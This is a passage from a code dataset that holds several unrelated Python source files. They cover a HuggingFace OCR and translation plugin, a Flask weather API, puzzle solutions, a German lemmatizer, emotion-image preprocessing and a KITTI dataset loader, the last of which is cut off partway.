max_max_new_tokens = int(options.get('max_max_new_tokens', 512))\n max_new_tokens_ratio = float(options.get('max_new_tokens_ratio', 3.0)\n)\n if min_max_new_tokens > max_max_new_tokens:\n raise ValueError('min_max_new_tokens must be less than max_max_new_tokens')\n\n mnt = min(\n max_max_new_tokens,\n max(\n min_max_new_tokens,\n max_new_tokens_ratio * ntok\n )\n )\n return int(mnt)\n\nclass EnvMixin():\n \"\"\"Mixin to allow usage of environment variables.\"\"\"\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.dev = os.environ.get('DEVICE', 'cpu')\n self.root = Path(os.environ.get('TRANSFORMERS_CACHE', '.'))\n logger.debug(f'Cache dir: {self.root}')\n\nclass HugginfaceSeq2SeqModel(m.TSLModel, EnvMixin):\n \"\"\"OCRtranslate plugin to allow loading of hugginface seq2seq model as translator.\"\"\"\n ALLOWED_OPTIONS = {\n **m.TSLModel.ALLOWED_OPTIONS,\n 'min_max_new_tokens': {\n 'type': int,\n 'default': 20,\n 'description': 'Minimum number for the maximum number of tokens to generate.',\n },\n 'max_max_new_tokens': {\n 'type': int,\n 'default': 512,\n 'description': 'Maximum number for the maximum number of tokens to generate.',\n },\n 'max_new_tokens_ratio': {\n 'type': float,\n 'default': 3,\n 'description': 'Attempts to generate `ratio` * `#original_tokens` tokens during translation.',\n },\n }\n\n class Meta: # pylint: disable=missing-class-docstring\n proxy = True\n\n def __init__(self, *args, **kwargs):\n \"\"\"Initialize the model.\"\"\"\n super().__init__(*args, **kwargs)\n self.tokenizer = None\n self.model = None\n\n def load(self):\n \"\"\"Load the model into memory.\"\"\"\n logger.info(f'Loading TSL model: {self.name}')\n res = Loaders.load(self.name, request=['seq2seq', 'tokenizer'], root=self.root, dev=self.dev)\n self.model = res['seq2seq']\n self.tokenizer = res['tokenizer']\n\n def unload(self) -> None:\n \"\"\"Unload the model from memory.\"\"\"\n if self.model is not None:\n del self.model\n self.model = None\n if self.tokenizer is not None:\n del self.tokenizer\n self.tokenizer = None\n\n if self.dev == 'cuda':\n torch.cuda.empty_cache()\n\n\n def _translate(\n self,\n tokens: list[str] | list[list[str]],\n src_lang: str, dst_lang: str,\n options: dict = None\n ) -> str | list[str]:\n \"\"\"Translate a text using a the loaded model.\n\n Args:\n tokens (list): list or list[list] of string tokens to be translated.\n lang_src (str): Source language.\n lang_dst (str): Destination language.\n options (dict, optional): Options for the translation. Defaults to {}.\n\n Raises:\n TypeError: If text is not a string or a list of strings.\n\n Returns:\n Union[str,list[str]]: Translated text. If text is a list, returns a list of translated strings.\n \"\"\"\n if self.model is None or self.tokenizer is None:\n raise RuntimeError('Model not loaded')\n if options is None:\n options = {}\n if not isinstance(tokens, list):\n raise TypeError('tokens must be a list of strings or a list of list of strings')\n\n logger.debug(f'TSL: {tokens}')\n if len(tokens) == 0:\n return ''\n\n self.tokenizer.src_lang = src_lang\n encoded = self.tokenizer(\n tokens,\n return_tensors='pt',\n padding=True,\n truncation=True,\n is_split_into_words=True\n )\n ntok = encoded['input_ids'].shape[1]\n encoded.to(self.dev)\n\n mnt = get_mnt(ntok, options)\n\n kwargs = {\n 'max_new_tokens': mnt,\n }\n if isinstance(self.tokenizer, M2M100Tokenizer):\n kwargs['forced_bos_token_id'] = self.tokenizer.get_lang_id(dst_lang)\n\n logger.debug(f'TSL ENCODED: {encoded}')\n logger.debug(f'TSL KWARGS: {kwargs}')\n generated_tokens = self.model.generate(\n **encoded,\n **kwargs,\n )\n\n tsl = self.tokenizer.batch_decode(generated_tokens, skip_special_tokens=True)\n logger.debug(f'TSL: {tsl}')\n\n if isinstance(tokens[0], str):\n tsl = tsl[0]\n\n if self.dev == 'cuda':\n torch.cuda.empty_cache()\n\n return tsl\n\n # def translate_batch(self, texts):\n # \"\"\"Translate a batch of texts.\"\"\"\n # raise NotImplementedError\n\nclass HugginfaceVEDModel(m.OCRModel, EnvMixin):\n \"\"\"OCRtranslate plugin to allow loading of hugginface VisionEncoderDecoder model as text OCR.\"\"\"\n class Meta: # pylint: disable=missing-class-docstring\n proxy = True\n\n def __init__(self, *args, **kwargs):\n \"\"\"Initialize the model.\"\"\"\n super().__init__(*args, **kwargs)\n self.tokenizer = None\n self.model = None\n self.image_processor = None\n\n def load(self):\n \"\"\"Load the model into memory.\"\"\"\n logger.info(f'Loading OCR VED model: {self.name}')\n res = Loaders.load(\n self.name, request=['ved_model', 'tokenizer', 'image_processor'],\n root=self.root, dev=self.dev\n )\n self.model = res['ved_model']\n self.tokenizer = res['tokenizer']\n self.image_processor = res['image_processor']\n\n def unload(self) -> None:\n \"\"\"Unload the model from memory.\"\"\"\n if self.model is not None:\n del self.model\n self.model = None\n if self.tokenizer is not None:\n del self.tokenizer\n self.tokenizer = None\n if self.image_processor is not None:\n del self.image_processor\n self.image_processor = None\n\n if self.dev == 'cuda':\n torch.cuda.empty_cache()\n\n def _ocr(\n self,\n img: Image.Image, lang: str = None, options: dict = None\n ) -> str:\n \"\"\"Perform OCR on an image.\n\n Args:\n img (Image.Image): A Pillow image on which to perform OCR.\n lang (str, optional): The language to use for OCR. (Not every model will use this)\n bbox (tuple[int, int, int, int], optional): The bounding box of the text on the image in lbrt format.\n options (dict, optional): A dictionary of options to pass to the OCR model.\n\n Raises:\n TypeError: If img is not a Pillow image.\n\n Returns:\n str: The text extracted from the image.\n \"\"\"\n if self.model is None or self.tokenizer is None or self.image_processor is None:\n raise RuntimeError('Model not loaded')\n\n if options is None:\n options = {}\n\n pixel_values = self.image_processor(img, return_tensors='pt').pixel_values\n if self.dev == 'cuda':\n pixel_values = pixel_values.cuda()\n generated_ids = self.model.generate(pixel_values)\n generated_text = self.tokenizer.batch_decode(generated_ids, skip_special_tokens=True)[0]\n\n if self.dev == 'cuda':\n torch.cuda.empty_cache()\n\n return generated_text\n","repo_name":"Crivella/ocr_translate-hugging_face","sub_path":"ocr_translate_hugging_face/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":10182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42201984567","text":"\n# 1. import Flask\nfrom flask import Flask, jsonify\n\n# %matplotlib inline\n# from matplotlib import style\n# style.use('fivethirtyeight')\n# import matplotlib.pyplot as plt\n\nimport numpy as np\nimport pandas as pd\nimport datetime as dt\n\n\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine\nfrom sqlalchemy import func\n\n###########################################################################\nengine = create_engine(\"sqlite:///Resources/hawaii.sqlite\")\n\nBase = automap_base()\n\n # reflect the tables\nBase.prepare(engine, reflect =True)\n\nBase.classes.keys()\n\nsession = Session(engine)\n\nStation = Base.classes.station\nMeasurement = Base.classes.measurement\n\n\napp = Flask(__name__)\n###################################################################\n@app.route(\"/\")\ndef welcome():\n \"\"\"List all available api routes.\"\"\"\n return (\n f\"Available Routes:<br/>\"\n f\"/api/v1.0/precipitation<br/>\"\n f\"/api/v1.0/stations<br/>\"\n f\"/api/v1.0/tobs<br/><br/>\"\n f\"/api/v1.0/<start><br/>\"\n f\"Enter startdate in yyyy-mm-dd format<br/>\"\n f\"/api/v1.0/<start>/<end><br/>\"\n f\"Enter startdate/enddate in yyyy-mm-dd format<br/>\"\n )\n#####################################################################\n@app.route(\"/api/v1.0/precipitation\")\ndef precipitation():\n session = Session(engine)\n year_ago = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n\n results = session.query(Measurement.date, Measurement.prcp).filter(Measurement.date >= year_ago).\\\n order_by(Measurement.date).all()\n\n session.close()\n\n all_rain = []\n for mdate, mprcp in results:\n rain_dict = {}\n rain_dict[\"date\"] = mdate\n rain_dict[\"prcp\"] = mprcp\n all_rain.append(rain_dict)\n\n return_list = jsonify(all_rain)\n return return_list\n \n######################################################################\n@app.route(\"/api/v1.0/stations\")\ndef stations():\n session = Session(engine)\n # recent_date = session.query(Measurement.date).order_by(Measurement.date.desc()).first()\n # return recent_date\n results = session.query(Station.id, Station.station, Station.name).all()\n\n session.close()\n\n all_stations = []\n for mid, mstation, mname in results:\n station_dict = {}\n station_dict[\"ID\"] = mid\n station_dict[\"Station\"] = mstation\n station_dict[\"Name\"] = mname\n all_stations.append(station_dict)\n\n return_list = jsonify(all_stations)\n return return_list\n \n##################################################################\n\n@app.route(\"/api/v1.0/tobs\")\ndef tobs():\n \n session = Session(engine)\n year_ago = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n\n\n results = session.query(Measurement.date, Measurement.tobs).\\\n filter(Measurement.date >= year_ago).\\\n filter(Measurement.station == \"USC00519281\").all()\n\n session.close()\n\n all_temps = []\n for mdate, mtemp in results:\n temp_dict = {}\n temp_dict[\"Date\"] = mdate\n temp_dict[\"Temp\"] = mtemp\n all_temps.append(temp_dict)\n \n \n return_list = jsonify(all_temps)\n return return_list\n \n# ####################################################\n#act 3-3; https://stackoverflow.com/questions/59986871/\n# do-optional-routing-parameters-in-flask-need-to-be-set-to-none-in-a-function\n\n# # https://pythonexamples.org/python-if-not/\n\n@app.route(\"/api/v1.0/<start>/\") \ndef tobstart(start):\n\n session = Session(engine)\n\n sel = [func.min(Measurement.tobs), \n func.max(Measurement.tobs),\n func.avg(Measurement.tobs)]\n\n \n results = session.query(*sel).\\\n filter(Measurement.date >= start).all()\n \n tobs = list(np.ravel(results))\n return_list = jsonify(tobs)\n return return_list\n \n session.close()\n\n ############################################################\n\n@app.route(\"/api/v1.0/<start>/<end>\") \ndef tobend(start, end):\n\n session = Session(engine)\n\n sel = [func.min(Measurement.tobs), \n func.max(Measurement.tobs),\n func.avg(Measurement.tobs)]\n\n \n results = session.query(*sel).\\\n filter(Measurement.date >= start).all().\\\n filter(Measurement.date <= end).all()\n \n\n tobs = list(np.ravel(results))\n return_list = jsonify(tobs)\n return return_list\n\n # results = session.query(*sel).\\\n # filter(Measurement.date >= start).\\\n # filter(Measurement.date <= end).all()\n \n # tobs = list(np.ravel(results))\n # return_list = jsonify(tobs)\n # return return_list\n\nsession.close()\n\n \n\n\n# @app.route(\"/api/v1.0/<start>/\") \n# def tobstart(start):\n\n\n # # start_date = (YYYY, M, DD)\n # end_date = (2017, 8, 23)\n\n\n # results = session.query( \n # func.min(Measurement.tobs), \n # func.max(Measurement.tobs),\n # func.avg(Measurement.tobs)).\\\n # filter(Measurement.date >= start).all().\\\n # filter(Measurement.date <= end_date)\n\n # # \n\n # temp_summary = []\n # for mmin, mmax, mavg in results:\n # temp_dict = {}\n # temp_dict[\"MinTemp\"] = mmin\n # temp_dict[\"MaxTemp\"] = mmax\n # temp_dict[\"AvgTemp\"] = mavg\n\n # temp_summary.append(temp_dict)\n\n # return_list = jsonify(temp_summary)\n # return return_list\n\n# @app.route(\"/api/v1.0/<start>/<end><br/>\") \n# def summarySE():\n\n# start_date = (YYYY, M, DD)\n# end_date = (YYYY, M, DD)\n\n\n# session.query(Measurement.station, \n# func.min(Measurement.tobs), \n# func.max(Measurement.tobs),\n# func.avg(Measurement.tobs)).\\\n \n# filter(Measurement.date >= start_date).\\\n# filter(Measurement.date <= end_date)\n\n\n\n# session.close()\n\nif __name__ == \"__main__\":\n # print(home())\n app.run(debug=True)\n","repo_name":"D11eleven/sqlalchemy-challenge","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24592326","text":"\"\"\"\nhttps://quera.org/problemset/102254/\nAuthor: https://github.com/smh997/\n\"\"\"\ns = input()\nss = 'a'\nwhile True:\n if s == ss:\n print(s)\n break\n ss = s\n s = []\n for i in range(10):\n if str(i) in ss:\n s += str(i)\n c = ss.count(str(i))\n if c > 1:\n s += str(c)\n s = ''.join(sorted(s))\n","repo_name":"smh997/Problem-Solving","sub_path":"Online Judges/Quera/فشرده‌سازی خاص.py","file_name":"فشرده‌سازی خاص.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"72655461159","text":"# Start time: 13:12\n# End time: 13:17\n\nimport aocd\n\ndata = \"\"\"1721\n979\n366\n299\n675\n1456\"\"\"\n\ndata = aocd.get_data(year=2020, day=1)\n\n\ndef get_answer(data: str) -> int:\n \"\"\"\n Find two numbers that add up to 2020 in data, then multiply them together.\n \"\"\"\n\n data = [int(line) for line in data.splitlines()]\n for i in range(len(data)):\n for j in range(i + 1, len(data)):\n if data[i] + data[j] == 2020:\n return data[i] * data[j]\n\n\nprint(get_answer(data))\n\n\n# To use aocd, you need to set the environment variable AOC_SESSION to your session cookie.\n# To get your AOC_SESSION cookie, open the developer console in your browser, and copy the value of the session cookie.\n","repo_name":"LomaxOnTheRun/advent-of-code","sub_path":"2020/day_1/part_1.py","file_name":"part_1.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70459887080","text":"import logging\nimport json\nimport io\nfrom os.path import dirname, realpath, join\n\nFILE_PATH = dirname(realpath(__file__))\n\n\nclass CustomIWNLPLemmatizer(object):\n def __init__(self, lemmatizer_path=join(FILE_PATH,\"lib\",\"IWNLP.Lemmatizer_20170501.json\")):\n self.lemmatizer = {}\n with io.open(lemmatizer_path, encoding='utf-8') as data_file:\n raw = json.load(data_file)\n for entry in raw:\n self.lemmatizer[entry[\"Form\"]] = entry[\"Lemmas\"]\n # parser error in 20170501.json\n self.remove_entry(\"die\", \"Noun\", \"Adsorbens\")\n\n def remove_entry(self, form, pos, lemma):\n key = form.lower().strip()\n if key in self.lemmatizer:\n wrong_entry = {\"POS\": pos, \"Form\": form, \"Lemma\": lemma}\n if wrong_entry in self.lemmatizer[key]:\n self.lemmatizer[key].remove(wrong_entry)\n\n def contains_entry(self, word, pos=None, ignore_case=False):\n key = word.lower().strip()\n if not pos:\n if ignore_case:\n return key in self.lemmatizer\n else:\n return key in self.lemmatizer and any(filter(lambda x: x[\"Form\"] == word, self.lemmatizer[key]))\n elif not isinstance(pos, list):\n if ignore_case:\n return key in self.lemmatizer and any(filter(lambda x: x[\"POS\"] == pos, self.lemmatizer[key]))\n else:\n return key in self.lemmatizer and any(\n filter(lambda x: x[\"POS\"] == pos and x[\"Form\"] == word, self.lemmatizer[key]))\n else:\n for pos_entry in pos:\n if self.contains_entry(word, pos_entry, ignore_case):\n return True\n return False\n\n def get_entries(self, word, pos=None, ignore_case=False):\n entries = []\n key = word.lower().strip()\n if not pos:\n if ignore_case:\n entries = self.lemmatizer[key]\n else:\n entries = list(filter(lambda x: x[\"Form\"] == word, self.lemmatizer[key]))\n elif not isinstance(pos, list):\n if ignore_case:\n entries = list(filter(lambda x: x[\"POS\"] == pos, self.lemmatizer[key]))\n else:\n entries = list(filter(lambda x: x[\"POS\"] == pos and x[\"Form\"] == word, self.lemmatizer[key]))\n else:\n for pos_entry in pos:\n if self.contains_entry(word, pos=pos_entry, ignore_case=ignore_case):\n entries.extend(self.get_entries(word, pos_entry, ignore_case))\n return entries\n\n def get_lemmas(self, word, pos=None, ignore_case=False):\n \"\"\"\n Return all lemmas for a given word. This method assumes that the specified word is present in the dictionary\n :param word: Word that is present in the IWNLP lemmatizer\n \"\"\"\n entries = self.get_entries(word, pos, ignore_case)\n lemmas = list(set([entry[\"Lemma\"] for entry in entries]))\n return sorted(lemmas)\n\n def lemmatize_plain(self, word, ignore_case=False):\n if self.contains_entry(word, ignore_case=ignore_case):\n return self.get_lemmas(word, ignore_case=ignore_case)\n else:\n return None\n\n def lemmatize(self, word, udPos):\n \"\"\"\n Python port of the lemmatize method, see https://github.com/Liebeck/IWNLP.Lemmatizer/blob/master/IWNLP.Lemmatizer.Predictor/IWNLPSentenceProcessor.cs\n\n \"\"\"\n # do not process empty strings\n if(not(word)):\n raise ValueError(\"Empty String!\")\n # valid pos = N,V,ADJ,ADV\n elif(not(udPos in [\"NOUN\",\"VERB\",\"ADJ\",\"ADV\",\"AUX\"])):\n return word\n\n if udPos == 'NOUN':\n if len(word) > 1 and word[0].islower():\n word = word[0].upper() + word[1:]\n else:\n word = word.lower()\n\n if udPos == \"NOUN\":\n if self.contains_entry(word, \"Noun\"):\n return self.get_lemmas(word, \"Noun\")\n elif self.contains_entry(word, \"X\"):\n return self.get_lemmas(word, \"X\")\n elif self.contains_entry(word, \"AdjectivalDeclension\"):\n return self.get_lemmas(word, \"AdjectivalDeclension\")\n elif self.contains_entry(word, [\"Noun\", \"X\"], ignore_case=True):\n return self.get_lemmas(word, [\"Noun\", \"X\"], ignore_case=True)\n else:\n return None\n elif udPos in [\"ADJ\", \"ADV\"]:\n if self.contains_entry(word, \"Adjective\"):\n return self.get_lemmas(word, \"Adjective\")\n elif self.contains_entry(word, \"Adjective\", ignore_case=True):\n return self.get_lemmas(word, \"Adjective\", ignore_case=True)\n # Account for possible errors in the POS tagger. This order was fine-tuned in terms of accuracy\n elif self.contains_entry(word, \"Noun\", ignore_case=True):\n return self.get_lemmas(word, \"Noun\", ignore_case=True)\n elif self.contains_entry(word, \"X\", ignore_case=True):\n return self.get_lemmas(word, \"X\", ignore_case=True)\n elif self.contains_entry(word, \"Verb\", ignore_case=True):\n return self.get_lemmas(word, \"Verb\", ignore_case=True)\n else:\n return None\n elif udPos in [\"VERB\", \"AUX\"]:\n if self.contains_entry(word, \"Verb\", ignore_case=True):\n return self.get_lemmas(word, \"Verb\", ignore_case=True)\n else:\n return None\n else:\n return None\n","repo_name":"kfritsch/masterarbeit","sub_path":"dataAnalysis/featureExtraction/customIWNLPLemmatizer.py","file_name":"customIWNLPLemmatizer.py","file_ext":"py","file_size_in_byte":5557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37151455945","text":"#objectives\n#1) sort log entries by date/minute\n#2) find the Guard# with the most minutes of sleep\n#3) for the Guard# with the most minutes of sleep, what minute does that guard spend asleep the most?\n#4) What is the ID of the guard you chose multiplied by the minute you chose?\nimport re\n\n\ndef read_file(filename):\n with open(filename) as file:\n log_lines = []\n for line in file:\n log_lines.append(line)\n log_lines.sort()\n return log_lines\n\n\ndef find_guard_that_sleeps_most(lines):\n guards_total_sleep = {}\n for line in lines:\n if 'begins shift' in line:\n guard_id = line.split()[3]\n elif 'falls asleep' in line:\n time = re.search('\\d{2}:\\d{2}(?=] )',line)\n start_time = time.group(0).replace(\"00:\", \"\")\n elif 'wakes up' in line:\n time = re.search('\\d{2}:\\d{2}(?=] )',line)\n end_time = time.group(0).replace(\"00:\", \"\")\n sleep_time = int(end_time) - int(start_time)\n if guard_id in guards_total_sleep:\n guards_total_sleep[guard_id] += sleep_time\n else:\n guards_total_sleep[guard_id] = sleep_time\n else:\n print(\"No if blocks matched for line\")\n guard_with_most_sleep = \"\"\n otherkey, othervalue = next(iter(guards_total_sleep.items()))\n for k, v in guards_total_sleep.items():\n if v > othervalue:\n guard_with_most_sleep = k\n otherkey, othervalue = k, v\n else:\n guard_with_most_sleep = otherkey\n return guard_with_most_sleep\n\n\ndef most_popular_min_of_sleep_for_guard(guard_id, lines):\n minute_dict = {}\n guard_id_found = False\n for line in lines:\n if guard_id in line:\n guard_id_found = True\n elif 'falls asleep' in line and guard_id_found == True:\n time = re.search('\\d{2}:\\d{2}(?=] )',line)\n start_time = time.group(0).replace(\"00:\", \"\")\n elif 'wakes up' in line and guard_id_found == True:\n time = re.search('\\d{2}:\\d{2}(?=] )',line)\n end_time = time.group(0).replace(\"00:\", \"\")\n for min in range(int(start_time), int(end_time)):\n if min in minute_dict:\n minute_dict[min] += 1\n else:\n minute_dict[min] = 1\n else:\n guard_id_found = False\n\n most_popular_minute = \"\"\n otherkey, othervalue = next(iter(minute_dict.items()))\n for k, v in minute_dict.items():\n if int(v) > int(othervalue):\n most_popular_minute = k\n otherkey, othervalue = k, v\n else:\n most_popular_minute = otherkey\n return most_popular_minute\n\n\nif __name__ == '__main__':\n lines = read_file(\"input.txt\")\n guard_with_most_sleep = find_guard_that_sleeps_most(lines)\n minute = most_popular_min_of_sleep_for_guard(guard_with_most_sleep, lines)\n print(\"minute: {}\".format(minute))\n guard = guard_with_most_sleep.replace(\"#\", \"\")\n print(\"guard: {}\".format(guard))\n puzzle_answer = int(guard) * minute\n print(puzzle_answer)","repo_name":"wes-novack/adventofcode","sub_path":"2018/day4/puzzle1.py","file_name":"puzzle1.py","file_ext":"py","file_size_in_byte":3107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16239810200","text":"import pandas as pd\nimport numpy as np\nfrom PIL import Image\nimport cv2\nimport gc\n#get_ipython().run_line_magic('matplotlib', 'inline')\nimport os\nfrom os import getcwd\nimport glob\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nimport seaborn as sns\nfrom sklearn.model_selection import train_test_split\n\n# AffectNet\nfer2021_data = pd.read_csv('fer2021.csv')\nfer2021_data.columns\nemotions_names = {0: 'Angry', 1: 'Disgust', 2: 'Fear', 3: 'Happy', 4: 'Sad', 5: 'Surprise', 6: 'Neutral'}\nfer2021_data['emotion_name'] = fer2021_data['emotion'].map(emotions_names)\nfer2021_data.shape\nfer2021_data.index\nfer2021_data.tail(3)\nfer2021_data.sample(n=3)\nfer2021_data['Usage'].unique()\nfer2021_data.emotion_name.value_counts()\nfer2021_data.dtypes\nfer2021_data.pixels.dtype\nfer2021_data.isna().any()\n\n# Preprocessing images\npixels_values = fer2021_data.pixels.str.split(\" \").tolist()\npixels_values = pd.DataFrame(pixels_values, dtype=int)\npixels_values\nimages = pixels_values.values\nimages = images.astype(np.float)\n\ntest_idx_start = 32298\nimages_test = images[test_idx_start:]\n\n# Function for displaying 15 random images\ndef show_random(imgs, emotion_nms_org = None, emotion_nms_pred = None, random = True, indices = None):\n \"\"\"\n\n Function displaying 15 randomly chosen images. Arguments:\n\n imgs: Source of images\n\n emotion_nms_org: Default \"None\", if specified, should be a Pandas Series object consisting of emotion names. As a result, emotion name will be displayed above every image.\n\n emotion_nms_pred: Default \"None\", if specified should be a Pandas Series object with predicted emotion names. As a result, emotion name will be displayed above image.\n\n random: Defult \"True\", indices will be randomly drawn from “discrete uniform” distribution starting at 0 up to max(len(imgs) otherwise randomly chosen from values passed into \"indices\" argument without replacement.\n\n indices: Default \"None\", if specified \"random\" should be set to \"False\" to draw random images from the variable passed into \"indices\" argument starting at min(len(indices)) up to max(len(indices)) and not using \"discrete uniform\" distribution.\n\n \"\"\"\n\n if random == True:\n indices = np.random.randint(0, len(imgs), size = 15)\n else:\n indices = np.random.choice(list(indices), size = 15, replace = False)\n plt.figure(figsize=(20, 14))\n for index, number in enumerate(indices):\n plt.subplot(3,5, index + 1)\n if (isinstance(emotion_nms_org, type(None)) & isinstance(emotion_nms_pred, type(None))):\n plt.title('Image: ' + str(indices[index]))\n elif (isinstance(emotion_nms_org, type(None)) & ~isinstance(emotion_nms_pred, type(None))):\n plt.title('Image: ' + str(indices[index]) + '\\n' + 'Predicted emotion:' + emotion_nms_pred[indices[index]])\n elif (~isinstance(emotion_nms_org, type(None)) & isinstance(emotion_nms_pred, type(None))):\n plt.title('Image: ' + str(indices[index]) + '\\n' + 'Original emotion: ' + emotion_nms_org[indices[index]])\n else:\n plt.title('Image: ' + str(indices[index]) + '\\n' + 'Original emotion: ' + emotion_nms_org[indices[index]] +\n '\\n' + 'Predicted emotion:' + emotion_nms_pred[indices[index]])\n show_image = imgs[number].reshape(48,48)\n plt.axis('off')\n plt.imshow(show_image, cmap='gray')\n\nshow_random(images, emotion_nms_org= fer2021_data['emotion_name'])\n","repo_name":"chenghanc/Emotion2","sub_path":"preprocess_csv_affectnet.py","file_name":"preprocess_csv_affectnet.py","file_ext":"py","file_size_in_byte":3439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"43337933985","text":"from __future__ import print_function, division\nimport os, sys\nimport torch\nimport random\nimport torch.nn.functional as F\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom torch.utils.data import Dataset, DataLoader\nfrom src.utils.show_image import show_image\nfrom src.utils.gUtils import mkdir_nested\nfrom src.utils.torchUtils import worker_seed_set\nfrom skimage.util import img_as_ubyte, img_as_float\nfrom src.Dataset.transforms import MResize, resize, REQUIRED_TRANSFORMS, TRAIN_AUGMENTATION, TEST_TRANSFORMS\nfrom src.utils.augUtil import draw_rect\n\n\ndef prepare_TrainValidate_data(inp_path, out_path, ratio=0.8, seed=None):\n x_t = np.load(os.path.join(inp_path, \"x_train.npy\"))\n y_t = np.load(os.path.join(inp_path, \"y_train.npy\"), allow_pickle=True)\n size = x_t.shape[0]\n if not seed:\n seed = 0\n # generate indices\n np.random.seed(seed)\n all_indices = np.arange(size)\n shuffledIndices = np.random.permutation(all_indices)\n trainIndices = shuffledIndices[0 : int(ratio * size)]\n Ktrain_x = x_t[trainIndices, ...]\n Ktrain_y = y_t[trainIndices, ...]\n validateIndices = shuffledIndices[int(ratio * size) : :]\n Kvalidate_x = x_t[validateIndices, ...]\n Kvalidate_y = y_t[validateIndices, ...]\n\n validate_path = os.path.join(os.path.join(out_path, \"validate\"))\n train_path = os.path.join(os.path.join(out_path, \"train\"))\n if not os.path.exists(validate_path):\n mkdir_nested(validate_path)\n if not os.path.exists(train_path):\n mkdir_nested(train_path)\n\n k2dTrain = open(os.path.join(out_path, \"k2dTrain.txt\"), \"w\")\n for index in range(Ktrain_x.shape[0]):\n trainNameX = \"k2d_trainX_{:02d}.npy\".format(index)\n np.save(os.path.join(train_path, trainNameX), Ktrain_x[index, ...], allow_pickle=True)\n trainNameY = \"k2d_trainY_{:02d}.npy\".format(index)\n item = Ktrain_y[index]\n classes = np.array(item[\"classes\"]).reshape((-1, 1))\n bb = item[\"boxes\"]\n bb = np.array([b.tolist() for b in bb])\n if bb.shape[0] == 0 or classes.shape[0] == 0:\n continue\n\n k2dTrain.write(trainNameX)\n k2dTrain.write(\"\\n\")\n labels = np.concatenate((classes, bb), axis=1)\n # fig, ax = plt.subplots(1, 1)\n # ax.imshow(draw_rect(Ktrain_x[index, ...], labels[:, 1:5]))\n # plt.show()\n np.save(os.path.join(train_path, trainNameY), labels, allow_pickle=True)\n k2dTrain.close()\n\n k2dValidate = open(os.path.join(out_path, \"k2dValidate.txt\"), \"w\")\n for index in range(Kvalidate_x.shape[0]):\n validNameX = \"k2d_validX_{:02d}.npy\".format(index)\n np.save(os.path.join(validate_path, validNameX), Kvalidate_x[index, ...], allow_pickle=True)\n validNameY = \"k2d_validY_{:02d}.npy\".format(index)\n item = Kvalidate_y[index]\n classes = np.array(item[\"classes\"]).reshape((-1, 1))\n bb = item[\"boxes\"]\n bb = np.array([b.tolist() for b in bb])\n if bb.shape[0] == 0 or classes.shape[0] == 0:\n continue\n k2dValidate.write(validNameX)\n k2dValidate.write(\"\\n\")\n labels = np.concatenate((classes, bb), axis=1)\n np.save(os.path.join(validate_path, validNameY), labels, allow_pickle=True)\n k2dValidate.close()\n\n\ndef prepare_test_data(inp_path, out_path):\n\n test_path = os.path.join(os.path.join(out_path, \"test\"))\n if not os.path.exists(test_path):\n mkdir_nested(test_path)\n\n x_test = np.load(os.path.join(inp_path, \"x_test.npy\"), allow_pickle=True)\n k2dTest = open(os.path.join(out_path, \"k2dTest.txt\"), \"w\")\n\n for index in range(x_test.shape[0]):\n testNameX = \"k2d_TestX_{:02d}.npy\".format(index)\n np.save(os.path.join(test_path, testNameX), x_test[index, ...], allow_pickle=True)\n\n k2dTest.write(testNameX)\n k2dTest.write(\"\\n\")\n\n k2dTest.close()\n\n\ndef dataloader_factory(\n data_path, mode=\"Train\", n_cpu=4, batch_size=1, img_size=416, multiscale_training=False, max_num_of_imgs=None\n):\n \"\"\"[factory for dataloader training or validation]\n Args:\n data_path ([str]): path to data directory\n batch_size ([int]): number of batches\n n_cpu ([int]): cpu threads: Defaults to 4.\n img_size (int, optional): Defaults to 416.\n mode (str, optional):[one of Train , Validate, test-test test-train] Defaults to \"Train\".\n multiscale_training (bool, optional): [just for training]. Defaults to False.\n\n Returns:\n [dataloader]\n \"\"\"\n assert mode in [\"Train\", \"Validate\", \"test-test\", \"test-train\"]\n if mode in [\"test-test\", \"test-train\"]:\n dataset = KITTI2D_Test(\n path=data_path,\n image_size=img_size,\n mode=mode,\n max_num_of_imgs=max_num_of_imgs,\n transform=TEST_TRANSFORMS,\n )\n\n dataloader = DataLoader(\n dataset,\n batch_size=1,\n num_workers=n_cpu,\n pin_memory=True,\n shuffle=False,\n )\n return dataloader\n\n transform = REQUIRED_TRANSFORMS if mode == \"Validate\" else TRAIN_AUGMENTATION\n\n dataset = KITTI2D(\n path=data_path, image_size=img_size, mode=mode, transform=transform, multiscale=multiscale_training\n )\n\n dataloader = DataLoader(\n dataset,\n batch_size=batch_size,\n num_workers=n_cpu,\n pin_memory=True,\n collate_fn=dataset.collate_fn,\n shuffle=True if mode == \"Train\" else False,\n worker_init_fn=worker_seed_set if mode == \"Train\" else None,\n )\n return dataloader\n\n\nclass KITTI2D_Test(Dataset):\n \"\"\"KITTI2D test dataset.\"\"\"\n\n def __init__(self, path, image_size=416, mode=\"test-test\", max_num_of_imgs=None, transform=None):\n \"\"\" \"\"\"\n assert mode == \"test-test\" or mode == \"test-train\", \"expected test-test or test-train as mode got: {}\".format(\n mode\n )\n self.path = path\n self.image_size = image_size\n self.mode = mode\n self.transform = transform\n self.max_num_of_imgs = max_num_of_imgs\n self._load_file_names()\n\n def __len__(self):\n if self.max_num_of_imgs:\n return min(self.max_num_of_imgs, len(self.filenames))\n return len(self.filenames)\n\n def _load_file_names(self):\n _path = \"\"\n 